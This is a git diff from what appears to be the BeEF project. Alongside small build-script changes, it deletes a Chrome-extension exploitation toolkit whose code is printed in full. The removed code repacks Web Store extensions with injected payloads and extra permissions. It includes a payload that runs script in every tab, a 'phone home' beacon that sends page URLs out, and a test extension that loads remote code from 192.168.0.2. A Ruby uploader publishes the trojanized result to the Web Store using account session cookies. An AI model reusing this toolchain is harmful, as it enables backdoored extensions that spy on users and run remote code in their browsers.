diff --git a/.dockerignore b/.dockerignore index 3e84f0a71..e69750034 100644 --- a/.dockerignore +++ b/.dockerignore @@ -4,6 +4,5 @@ .gitignore doc docs -scripts test -update-beef \ No newline at end of file +update-beef diff --git a/scripts/bump-version.sh b/tools/bump-version.sh old mode 100644 new mode 100755 similarity index 80% rename from scripts/bump-version.sh rename to tools/bump-version.sh index 80d3f3c96..2077a5726 --- a/scripts/bump-version.sh +++ b/tools/bump-version.sh @@ -1,10 +1,15 @@ -#!/bin/bash +#!/usr/bin/env bash if [[ -z "${1}" || -z "${2}" ]]; then echo "Error: missing arguments" exit 1 fi +if [[ ! -f beef || ! -f VERSION ]]; then + echo "Error: must be run from within the BeEF root directory" + exit 1 +fi + echo "Updating version ${1} to ${2}" git checkout -b "release/${2}" diff --git a/tools/chrome_extensions_exploitation/README.md b/tools/chrome_extensions_exploitation/README.md deleted file mode 100644 index 8570726b2..000000000 --- a/tools/chrome_extensions_exploitation/README.md +++ /dev/null @@ -1,87 +0,0 @@ -Various tools for dealing with Chrome Extensions, especially valuable for pentesting / social engineering assignments. - -Authors: - - - Krzysztof Kotowicz - @kkotowicz - [blog](http://blog.kotowicz.net) - - Michele '@antisnatchor' Orru - - -Injector --------- -Bunch of scripts for injecting existing extensions with new code: -Extensions can be downloaded from Chrome WebStore (repacker-webstore) or taken from crx files (repacker-crx). - -Requirements: - - - bash - - ruby - - zip (cmd line) - - curl (cmd line) - - Google Chrome (used in crx mode only) - -Usage: - - # get extension from Web Store, add payloads/phonehome.js and copy the extension to repacked-dir/ - $ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk dir repacked-dir payloads/phonehome.js - - # Same, but pack into repacked.zip instead - $ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js - - # Create new CRX with Google Chrome - $ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk crx repacked.crx payloads/phonehome.js - - # Inject into existing CRX file - $ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js - - # Add some permissions into manifest.json - $ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js "tabs,proxy" - - # Add persistent content script file launching on every tab - $ echo 'console.log(location.href)' > cs.js - $ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs," cs.js - -For example - mass poisoning every tab with [mosquito](https://github.com/koto/mosquito): - - # start mosquito server: - $ cd path/to/mosquito - $ python mosquito/start.py 8082 4444 --http 8000 - - # generate mosquito hook: - # - visit http://localhost:8000/generate - # - save hook as cs.js - - # inject mosquito dropper into extension: - $ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs," cs.js - - -Webstore Uploader ------------------ -Script for uploading and publishing Chrome Extensions packed in zip files in Chrome Web Store - -Requirements: - - - ruby - -Usage: - - # Preparation: - - 1. Create Chrome developer account - 2. Login at https://chrome.google.com/webstore/developer/dashboard/ - 3. Pay your $5 one time fee (credit card needed) - 4. Get SID, SSID, HSID cookies and paste their values in webstore_uploader/config.rb file - - # Get Chrome extension code - # e.g. run Injector in zip mode: - - $ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js - - # (optional) - prepare screenshot / description file - - # publish the extension right away - $ ruby webstore_uploader/webstore_upload.rb repacked.zip publish description.txt screenshot.png - - # or just upload & save it: - $ ruby webstore_uploader/webstore_upload.rb repacked.zip save description.txt screenshot.png - - # you can access the extension from your developer dashboard \ No newline at end of file diff --git a/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb b/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb deleted file mode 100644 index bf498c273..000000000 --- a/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb +++ /dev/null @@ -1,135 +0,0 @@ -#!/usr/bin/env ruby -# encoding: UTF-8 - -# Authors: -# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net - -require 'rubygems' -require 'json' -require 'securerandom' - -class ChromeExtensionToolkit - @ext = '' - @manifest - BCG_SCRIPT = 1 - BCG_PAGE = 2 - - def initialize(extpath) - raise ArgumentError, "Empty extension path" unless extpath - raise ArgumentError, "Invalid extension path" unless File.directory?(extpath) - @ext = extpath - end - - def reload_manifest() - f = get_file('manifest.json') - manifest = File.read(f).sub("\xef\xbb\xbf", '') - manifest = JSON.parse(manifest) - set_manifest(manifest) - return manifest - end - - def get_manifest() - if @manifest - return @manifest - end - - return reload_manifest() - end - - def set_manifest(manifest) - @manifest = manifest - end - - def save_manifest() - save_file('manifest.json', JSON.pretty_generate(@manifest)) - end - - def save_file(file, contents) - File.open(get_file(file), 'w') {|f| f.write contents } - end - - def get_file(file) - return File.join(@ext, file) - end - - def assert_not_app() - manifest = get_manifest() - raise RuntimeError, "Apps are not supported, only regular Chrome extensions" if manifest['app'] - end - - def inject_script(payload) - assert_not_app() - assert_background_page('injector_bg') # add page to extensions that don't have one - bcg_file = get_file(get_background_page()) - - if File.exist?(bcg_file) - bcg = File.read(bcg_file) - else - bcg = "" - end - - if not payload - return bcg - end - - if bcg_file.end_with? ".js" # js file, just prepend payload - return payload + ";" + bcg - end - - name = SecureRandom.hex + '.js' - save_file(name, payload) - return bcg.sub(/(\|\Z)/i, "\\1\n") - end - - def assert_background_page(default) - manifest = get_manifest() - if not manifest['manifest_version'].nil? and manifest['manifest_version'] >= 2 - if manifest['background'].nil? - manifest['background'] = {} - end - - if manifest['background']['page'] - return BCG_PAGE - end - - if not manifest['background']['scripts'].nil? - manifest['background']['scripts'].unshift(default + '.js') - set_manifest(manifest) - return BCG_SCRIPT - else - - manifest['background']['scripts'] = [default + '.js'] - set_manifest(manifest) - return BCG_SCRIPT - end - end - if not manifest['background_page'] - manifest['background_page'] = default + '.html' - end - set_manifest(manifest) - return BCG_PAGE - end - - def add_permissions(perms) - manifest = get_manifest() - manifest['permissions'] += perms - manifest['permissions'].uniq! - set_manifest(manifest) - end - - def get_background_page() - manifest = get_manifest() - if manifest['background'] and manifest['background']['page'] - return manifest['background']['page'] - end - - if manifest['background'] and manifest['background']['scripts'] - return manifest['background']['scripts'][0] - end - - if manifest['background_page'] - return manifest['background_page'] - end - raise RuntimeError, "No background page present" - end -end diff --git a/tools/chrome_extensions_exploitation/injector/config.ini b/tools/chrome_extensions_exploitation/injector/config.ini deleted file mode 100644 index 14d3ac6d6..000000000 --- a/tools/chrome_extensions_exploitation/injector/config.ini +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env bash - -# path to chrome binary -CHROMEPATH="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" - -# Private key to sign repacked extensions with. -# Leave empty to generate new file on every run. -#PEM="/home/koto/dev/xsschef/tools/dev.pem" -PEM= \ No newline at end of file diff --git a/tools/chrome_extensions_exploitation/injector/inject.rb b/tools/chrome_extensions_exploitation/injector/inject.rb deleted file mode 100755 index a0739a522..000000000 --- a/tools/chrome_extensions_exploitation/injector/inject.rb +++ /dev/null @@ -1,53 +0,0 @@ -#!/usr/bin/env ruby -# encoding: UTF-8 - -# Authors: -# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net - -require_relative 'chrome_extension_toolkit.rb' - -def help() - puts "[-] Error. Usage: ruby inject.rb [permissions] < script.js" - puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js" - exit 1 -end - -begin - extpath = ARGV[0] - if not extpath - help() - end - t = ChromeExtensionToolkit.new(extpath) - puts "Loaded extension in #{extpath}" - - manifest = t.get_manifest() - puts "Existing manifest: " - puts manifest - - # injecting any script from stdin - puts "Reading payload..." - payload = $stdin.read - puts "Injecting payload..." - - injected = t.inject_script(payload) - - print injected - - if ARGV[1] - perms = ARGV[1].split(',') - puts "Adding permissions #{ARGV[1]}..." - t.add_permissions(perms) - end - - puts "Saving..." - # write - t.save_file(t.get_background_page(), injected) - t.save_manifest() - - puts "Done." - -rescue Exception => e - $stderr.puts e.message - $stderr.puts e.backtrace.inspect - exit 1 -end diff --git a/tools/chrome_extensions_exploitation/injector/repacker-crx.sh b/tools/chrome_extensions_exploitation/injector/repacker-crx.sh deleted file mode 100755 index 5d5200ba0..000000000 --- a/tools/chrome_extensions_exploitation/injector/repacker-crx.sh +++ /dev/null @@ -1,117 +0,0 @@ -#!/usr/bin/env bash - -# Authors: -# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net -# -# Unpacks a crx file, inject it with given payload, and, optionally -# packs it into zip/crx file -# see ../README.md - -DIR=$( cd "$( dirname "$0" )" && pwd ) -source $DIR/config.ini -RUNDIR=`pwd` -tempfoo=`basename $0` -TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1 -EXTDIR="$TMPDIR" - -INPUT_CRX=$1 -MODE=$2 -DESTINATION=$3 -JS_FILE=$4 -shift 4 - -if [ ! -z "$1" ]; then # 5th param optional - PERMISSIONS=$1 - shift -else - PERMISSIONS="" -fi - -function help { - printf "Usage: %s: [permissions] [file1 ... ] \n" $(basename $0) >&2 - echo " - original extension CRX file" >&2 - echo " - output mode (dir|zip|crx)" >&2 - echo " - directory or file path to write injected extension to (depending on )" >&2 - echo " - script to inject into extension background" >&2 - echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2 - echo " [file...] - additional files to add to extension" >&2 - exit 2 -} - -if [[ $# -eq 0 ]] ; then - help -fi - -if [ ! -f "${INPUT_CRX}" ]; then - bailout "No input CRX file! - ${INPUT_CRX}" -fi - -if [ ! -f "${JS_FILE}" ]; then - bailout "No file to inject! - ${JS_FILE}" -fi - -if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then - bailout "You must give mode and destination!" -fi - -function cleanup { - rm -rf "$TMPDIR" -} - -function bailout () { - echo "Error: $1" >&2 - cleanup - exit 1 -} - -echo "Unpacking $INPUT_CRX to $EXTDIR..." -# supress warning about extra prefix bytes -unzip -qo "$INPUT_CRX" -d "$EXTDIR" 2>/dev/null -echo "Injecting script $JS_FILE..." - -$DIR/inject.rb "$EXTDIR" "$PERMISSIONS" < $JS_FILE || bailout "Injection failed" - -# copy additional files -for file in "$@" -do - - if [ -f "$file" ]; then - echo "Adding $file..." - cp "$file" "$EXTDIR" - fi -done - -echo "Mode: $MODE" - -case "$MODE" in - crx) - if [ ! -x "$CHROMEPATH" ]; then - bailout "You must set correct CHROMEPATH in tools/config.ini" - fi - - echo "Signing $EXTDIR..." - "$CHROMEPATH" --pack-extension="$EXTDIR" --pack-extension-key="$PEM" --no-message-box - if (( $? )) ; then - bailout "Signing in Chrome FAILED." - fi - - echo "Moving signed extension to $DESTINATION" - mv "`dirname "$EXTDIR"`/`basename "$EXTDIR"`.crx" "$DESTINATION" - ;; - zip) - echo "Zipping extension to $DESTINATION" - cd "$EXTDIR" - zip -r __tmp.zip . - cd - - mv "$EXTDIR/__tmp.zip" $DESTINATION - ;; - dir) - echo "Moving extension directory to $DESTINATION" - rm -r "$DESTINATION" - mv "$EXTDIR" "$DESTINATION" - ;; - *) - bailout "Unknown mode: $MODE" -esac - -cleanup diff --git a/tools/chrome_extensions_exploitation/injector/repacker-webstore.sh b/tools/chrome_extensions_exploitation/injector/repacker-webstore.sh deleted file mode 100755 index a6d805d73..000000000 --- a/tools/chrome_extensions_exploitation/injector/repacker-webstore.sh +++ /dev/null @@ -1,100 +0,0 @@ -#!/usr/bin/env bash - -# Authors: -# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net -# -# Downloads extension from Google Chrome Webstore, inject it with given payload, and, optionally -# packs it into zip/crx file -# see ../README.md - -RUNDIR=`pwd` -DIR=$( cd "$( dirname "$0" )" && pwd ) -tempfoo=`basename $0` -TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1 - -function help { - printf "Usage: %s: [-q] [permissions] [file1 ...] \n" $(basename $0) >&2 - echo " -q : quiet, only repacked extension filename will be printed to stdout" >&2 - echo " - extension id from Chrome WebStore" >&2 - echo " - output mode (dir|zip|crx)" >&2 - echo " - directory or file path to write injected extension to (depending on )" >&2 - echo " - script to inject into extension background" >&2 - echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2 - echo " [file...] - additional files to add to extension" >&2 - exit 2 -} - -function cleanup { - rm -rf "$TMPDIR" - cd "$RUNDIR" -} - -function bailout () { - echo "Error: $1" >&2 - cleanup - exit 1 -} - -#Parsing command line parameters -QUIET= -PERMISSIONS="tabs,proxy,,history,cookies,management,plugins" - -while getopts 'qh' OPTION -do - case $OPTION in - q) QUIET="1" - ;; - h) help - ;; - *) help - ;; - esac -done - -shift $(($OPTIND - 1)) - -if [[ $# -eq 0 ]] ; then - help -fi - -EXT_ID="$1" -MODE="$2" -DESTINATION="$3" -JS_FILE="$4" -PERMISSIONS="$5" -shift 5 - -if [ -z "$EXT_ID" ]; then - bailout "No extension ID!" -fi - -if [ ! -f "${JS_FILE}" ]; then - bailout "No file to inject! - ${JS_FILE}" -fi - -if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then - bailout "You must give mode and destination!" -fi - -WEBSTORE_URL="https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D${EXT_ID}%26lang%3Dpl%26uc" - -# offline test -# cp tmp/adblock.crx "$TMPDIR/org.crx" - -if [ "$QUIET" ]; then - curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx" --silent -else - curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx" -fi - -if (( $? )) ; then - bailout "CURL failed." -fi - -if [ "$QUIET" ]; then - $DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ >/dev/null || bailout "Repacker failed" - echo -n $DESTINATION -else - $DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ || bailout "Repacker failed" -fi -rm $TMPDIR/org.crx \ No newline at end of file diff --git a/tools/chrome_extensions_exploitation/payloads/cs.js b/tools/chrome_extensions_exploitation/payloads/cs.js deleted file mode 100644 index c952180ab..000000000 --- a/tools/chrome_extensions_exploitation/payloads/cs.js +++ /dev/null @@ -1,2 +0,0 @@ -// sample payload -console.log(location.href); diff --git a/tools/chrome_extensions_exploitation/payloads/cs_mass_poison.js b/tools/chrome_extensions_exploitation/payloads/cs_mass_poison.js deleted file mode 100644 index d07e5e7fd..000000000 --- a/tools/chrome_extensions_exploitation/payloads/cs_mass_poison.js +++ /dev/null @@ -1,23 +0,0 @@ -// add a /cs.js file to extension and have it run in a content script on every tab -var INJECTOR_CS_PAYLOAD = '/cs.js'; -// requires tabs permissions - -chrome.tabs.query({}, function (tabs) { - for (var i = 0; i < tabs.length; i++) { - if (tabs[i].url.match('^http')) { - chrome.tabs.executeScript(tabs[i].id, { - allFrames: true, - file: INJECTOR_CS_PAYLOAD}); - } - } - } -); - -chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) { - if (changeInfo.status == 'complete' && tab.url.match('^http')) { - chrome.tabs.executeScript(tabId, { - allFrames: true, - file: INJECTOR_CS_PAYLOAD - }); - } -}); diff --git a/tools/chrome_extensions_exploitation/payloads/phonehome.js b/tools/chrome_extensions_exploitation/payloads/phonehome.js deleted file mode 100644 index 533331e1f..000000000 --- a/tools/chrome_extensions_exploitation/payloads/phonehome.js +++ /dev/null @@ -1,6 +0,0 @@ -var x = new XMLHttpRequest(); -x.open('get', 'http://localhost/?url=' + encodeURIComponent(location.href), true); -x.onload = x.onerror = function() { -console.log('phoned home'); -} -x.send(null); \ No newline at end of file diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample b/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample deleted file mode 100644 index c4e7741d0..000000000 --- a/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample +++ /dev/null @@ -1,22 +0,0 @@ -# Authors: -# Michele '@antisnatchor' Orru - -# 1. Login at https://chrome.google.com/webstore/developer/dashboard/ -# 2. Pay your $5 one time fee -# 3. Get SID, SSID, HSID cookies and paste their values below - -# if you want to proxy request through Burp, USE_PROXY = true -USE_PROXY = false -PROXY_HOST = "127.0.0.1" -PROXY_PORT = 9090 - -HTTP_READ_OPEN_TIMEOUT = 30 # seconds - -G_PUBLISHER_ID = '' # gXXXXXXX, the last part of the Dashboard URL https://chrome.google.com/webstore/developer/dashboard/gXXXX - -# these are the only 3 session cookies needed, the rest of the cookies are not needed. -# you get these cookies when you are successfully authenticated on -SID = "" -SSID = "" -HSID = "" - diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip deleted file mode 100644 index f78442973..000000000 Binary files a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip and /dev/null differ diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js deleted file mode 100644 index 8ee03a536..000000000 --- a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js +++ /dev/null @@ -1,5 +0,0 @@ -d=document; -e=d.createElement('script'); -e.src="https://192.168.0.2/ciccio.js"; -d.body.appendChild(e); - diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png deleted file mode 100644 index 58a6ecc85..000000000 Binary files a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png and /dev/null differ diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png deleted file mode 100644 index 855e228e8..000000000 Binary files a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png and /dev/null differ diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png deleted file mode 100644 index 2f4cd2b7c..000000000 Binary files a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png and /dev/null differ diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json deleted file mode 100644 index 9f2dbdf06..000000000 --- a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "name": "Test extension", - "manifest_version": 2, - "version": "1.0", - "description": "Test extension", - "background": { - "scripts": ["background.js"] - }, - "content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'", - "icons": { - "16": "icon16.png", - "48": "icon48.png", - "128": "icon128.png" - }, - "permissions": [ - "tabs", - "http://*/*", - "https://*/*", - "cookies" - ] -} diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb b/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb deleted file mode 100644 index 55ae95b29..000000000 --- a/tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb +++ /dev/null @@ -1,289 +0,0 @@ -# encoding: UTF-8 -require 'rubygems' -require 'net/https' -require 'json' -require 'zip' -require 'json' - -# Authors: -# Michele '@antisnatchor' Orru -# Krzysztof Kotowicz - @kkotowicz -# README: -# Before running the script, make sure you change the following 4 variables in config.rb: -# G_PUBLISHER_ID, SID, SSID, HSID -# -# You can retrieve all these values after you're successfully authenticated in the WebStore, see comments -# in the config.rb.sample. Rename it ro config.rb when done. -# - -require_relative 'config.rb' - -def help() - puts "[-] Error. Usage: ruby webstore_upload.rb [description_file] [screenshot_file]" - exit 1 -end - -zip_name = ARGV[0] -if zip_name == nil - help() -end -EXT_ZIP_NAME = zip_name - -mode = ARGV[1] -action = nil -if mode == nil - help() -elsif mode == "publish" - action = "publish" -elsif mode == "save" - action = "save_and_return_to_dashboard" - #action = "save" -else - help() -end -ACTION = action - -if !File.exist?(EXT_ZIP_NAME) - puts "[-] Error: #{EXT_ZIP_NAME} does not exist" - help() -end - -if ARGV[2] != nil and File.exist?(ARGV[2]) - DESCRIPTION = File.new(ARGV[2]).read() - puts "[*] Using description from #{ARGV[2]}" -else - DESCRIPTION = "" -end - -if ARGV[3] != nil and File.exist?(ARGV[3]) - SCREENSHOT_NAME = ARGV[3] - puts "[*] Using screenshot from #{SCREENSHOT_NAME}" -end - -# general get/post request handler -def request(uri, method, headers, post_body) - uri = URI(uri) - http = nil - if USE_PROXY - http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) - else - http = Net::HTTP.new(uri.host, uri.port) - end - - http.read_timeout = HTTP_READ_OPEN_TIMEOUT - http.open_timeout = HTTP_READ_OPEN_TIMEOUT - if uri.scheme == "https" - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE - end - - request = nil - if method == "POST" - request = Net::HTTP::Post.new(uri.request_uri, headers) - if post_body.is_a?(Hash) - request.set_form_data(post_body) # post_body as in: {"key" => "value"} - else - request.body = post_body # post_body as in: {"key" => "value"} - end - else # otherwise GET - request = Net::HTTP::Get.new(uri.request_uri, headers) - end - - begin - response = http.request(request) - - case response - when Net::HTTPSuccess - then - return response - when Net::HTTPRedirection # if you get a 3xx response - then - return response - else - return nil - end - rescue SocketError => se # domain not resolved - return nil - rescue Timeout::Error => timeout # timeout in open/read - return nil - rescue Errno::ECONNREFUSED => refused # connection refused - return nil - rescue Exception => e - #puts e.message - #puts e.backtrace - return nil - end -end - -# raw request to upload the extension.zip file data -def request_octetstream(uri, headers) - file = File.new(EXT_ZIP_NAME) - - uri = URI(uri) - req = Net::HTTP::Post.new(uri.request_uri, headers) - - post_body = [] - post_body << File.read(file) - req.body = post_body.join - req["Content-Type"] = "application/octet-stream" - - http = nil - if USE_PROXY - http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) - else - http = Net::HTTP.new(uri.host, uri.port) - end - - http.read_timeout = HTTP_READ_OPEN_TIMEOUT - http.open_timeout = HTTP_READ_OPEN_TIMEOUT - if uri.scheme == "https" - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE - end - response = http.request(req) - return response -end - -# defaults to English Language and Productivity category -def send_publish_request(uri, cx_auth_t, headers, action="publish") - - uri = URI(uri) - req = Net::HTTP::Post.new(uri.request_uri, headers) - boundary = rand(14666338978986066131776338987).to_s.center(29, rand(29).to_s) - - fields = { - "action" => action, "t" => cx_auth_t, "edit-locale" => "en_US", "desc" => DESCRIPTION, "screenshot" => SCREENSHOT_NAME, "cx-embed-box" => "", - "official_url" => "none", "homepage_url" => "", "support_url" => "", "categoryId" => "7-productivity", "tiers" => "0", "all-regions" => "1", - "cty-AR" => "1", "cty-AU" => "1", "cty-AT" => "1", "cty-BE" => "1", "cty-BR" => "1", "cty-CA" => "1", "cty-CN" => "1", - "cty-CZ" => "1", "cty-DK" => "1", "cty-EG" => "1", "cty-FI" => "1", "cty-FR" => "1", "cty-DE" => "1", "cty-HK" => "1", - "cty-IN" => "1", "cty-ID" => "1", "cty-IL" => "1", "cty-IT" => "1", "cty-JP" => "1", "cty-MY" => "1", "cty-MX" => "1", - "cty-MA" => "1", "cty-NL" => "1", "cty-NZ" => "1", "cty-NO" => "1", "cty-PH" => "1", "cty-PL" => "1", "cty-PT" => "1", - "cty-RU" => "1", "cty-SA" => "1", "cty-SG" => "1", "cty-ES" => "1", "cty-SE" => "1", "cty-CH" => "1", "cty-TW" => "1", - "cty-TH" => "1", "cty-TR" => "1", "cty-UA" => "1", "cty-AE" => "1", "cty-GB" => "1", "cty-US" => "1", "cty-VN" => "1", - "language" => "en", "openid_realm" => "", "analytics_account_id" => "", "extensionAdsBehavior" => "", "publish-destination" => "PUBLIC", - "ignore" => "true", "payment-type" => "free", "subscription-period" => "none", "logo128-image" => "", - } - - post_body = [] - post_body << "-----------------------------#{boundary}\r\n" - fields.each do |key,value| - if key == "screenshot" - # screenshot must be treated differently - post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (value ? File.basename(value) : '' )+ "\"\r\n" - post_body << "Content-Type: application/octet-stream\r\n\r\n" - post_body << (value ? File.read(value) : '') - post_body << "\r\n" - post_body << "-----------------------------#{boundary}\r\n" - next - elsif key == "logo128-image" - post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (ICON_NAME ? File.basename(ICON_NAME) : '') + "\"\r\n" - post_body << "Content-Type: application/octet-stream\r\n\r\n" - post_body << ICON - post_body << "\r\n" - post_body << "-----------------------------#{boundary}\r\n" - next - end - post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n" - post_body << "\r\n" - post_body << "#{value}\r\n" - if key == "logo128-image" - post_body << "-----------------------------#{boundary}--\r\n" - break - else - post_body << "-----------------------------#{boundary}\r\n" - end - end - - req.body = post_body.join - - - req["Content-Type"] = "multipart/form-data; boundary=---------------------------#{boundary}" - - http = nil - if USE_PROXY - http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) - else - http = Net::HTTP.new(uri.host, uri.port) - end - - http.read_timeout = HTTP_READ_OPEN_TIMEOUT - http.open_timeout = HTTP_READ_OPEN_TIMEOUT - if uri.scheme == "https" - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE - end - response = http.request(req) - return response -end - -puts "[+] Reading manifest..." -Zip::File.open(EXT_ZIP_NAME) do |zip_file| - entry = zip_file.glob('manifest.json').first - manifest = JSON.parse(entry.get_input_stream.read) - ICON_NAME = manifest['icons']['128'] - puts "[+] Found icon: #{ICON_NAME}" - ICON = zip_file.glob(ICON_NAME).first.get_input_stream.read - ICON.force_encoding 'utf-8' -end - -upload_url = "https://chrome.google.com/webstore/developer/upload" -post_body = '{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file","filename":'+ -'"' + File.basename(EXT_ZIP_NAME) + '","put":{},"size":' + File.new(EXT_ZIP_NAME).size.to_s + '}},{"inlined":{"name":"extension_id","content":'+ -'"null","contentType":"text/plain"}},{"inlined":{"name":"package_id","content":"main","contentType":"text/plain"}},'+ -'{"inlined":{"name":"publisher_id","content":"' + G_PUBLISHER_ID + '","contentType":"text/plain"}},'+ -'{"inlined":{"name":"language_code","content":"en-US","contentType":"text/plain"}}]}}' - -auth_headers = {'Cookie'=> "SID=#{SID}; HSID=#{HSID}; SSID=#{SSID};"} - -upload_auth_resp = request(upload_url, 'POST', auth_headers, post_body) -upload_status = JSON.parse(upload_auth_resp.body) -if upload_status['errorMessage'] == nil - upload_id = upload_status['sessionStatus']['upload_id'] - upload_url = "https://chrome.google.com/webstore/developer/upload?upload_id=#{upload_id}&file_id=000" - - puts "[+] Uploading ZIP..." - response = request_octetstream(upload_url, auth_headers) - - upload_status = JSON.parse(response.body) - if upload_status['errorMessage'] == nil && upload_status['sessionStatus']['state'] == "FINALIZED" - extension_id = upload_status['sessionStatus']['additionalInfo']['uploader_service.GoogleRupioAdditionalInfo']['completionInfo']['customerSpecificInfo']['extension_id'] - puts "[+] Extension uploaded successful. Extension ID: #{extension_id}" - - # Last request, to Publish the extension, requires Language/Category to be set. - # A multipart/form-data request is sent, but we first need to get an hidden form field "cx-action-t" value, - # then send the final multipart/form-data request with that value inside. - puts "[+] Fetching edit page..." - edit_ext_url = "https://chrome.google.com/webstore/developer/edit/#{extension_id}" - edit_ext_resp = request(edit_ext_url, 'GET', auth_headers, nil) - - cx_action_t = edit_ext_resp.body.split("id=\"cx-action-t\" name=\"t\" value=\"").last.split("\"").first - if cx_action_t.index('<') != nil # error - puts ['[-] Error: Session invalid, update cookies values'] - exit 1 - end - puts "[+] Retrieved cx-action-t hidden field value: #{cx_action_t}" - puts "[+] Sending #{ACTION} request..." - edit_ext_resp = send_publish_request(edit_ext_url, cx_action_t, auth_headers, ACTION) - - if edit_ext_resp.is_a?(Net::HTTPRedirection) - puts "[+] Extension details (category/language) updated." - final_location = edit_ext_resp['Location'] - if ACTION == 'publish' - puts "[+] Extension is in queue for publishing. URL: https://chrome.google.com#{final_location}" - else - puts "[+] Extension updated. URL: https://chrome.google.com#{final_location}" - end - else - if edit_ext_resp.body and edit_ext_resp.body.include?('Please fix the following errors:
    ') - errors = edit_ext_resp.body.split("Please fix the following errors:
      ").last.split("
    ").first.gsub(/<[^>]*>/ui,' ') - puts "[-] Errors: #{errors}" - end - puts "[-] Error updating extension details. Anyway, the extension is uploaded." - end - else - puts "[-] Error: #{upload_status['errorMessage']}" - end - -else - puts "[-] Error: #{upload_status['errorMessage']}" -end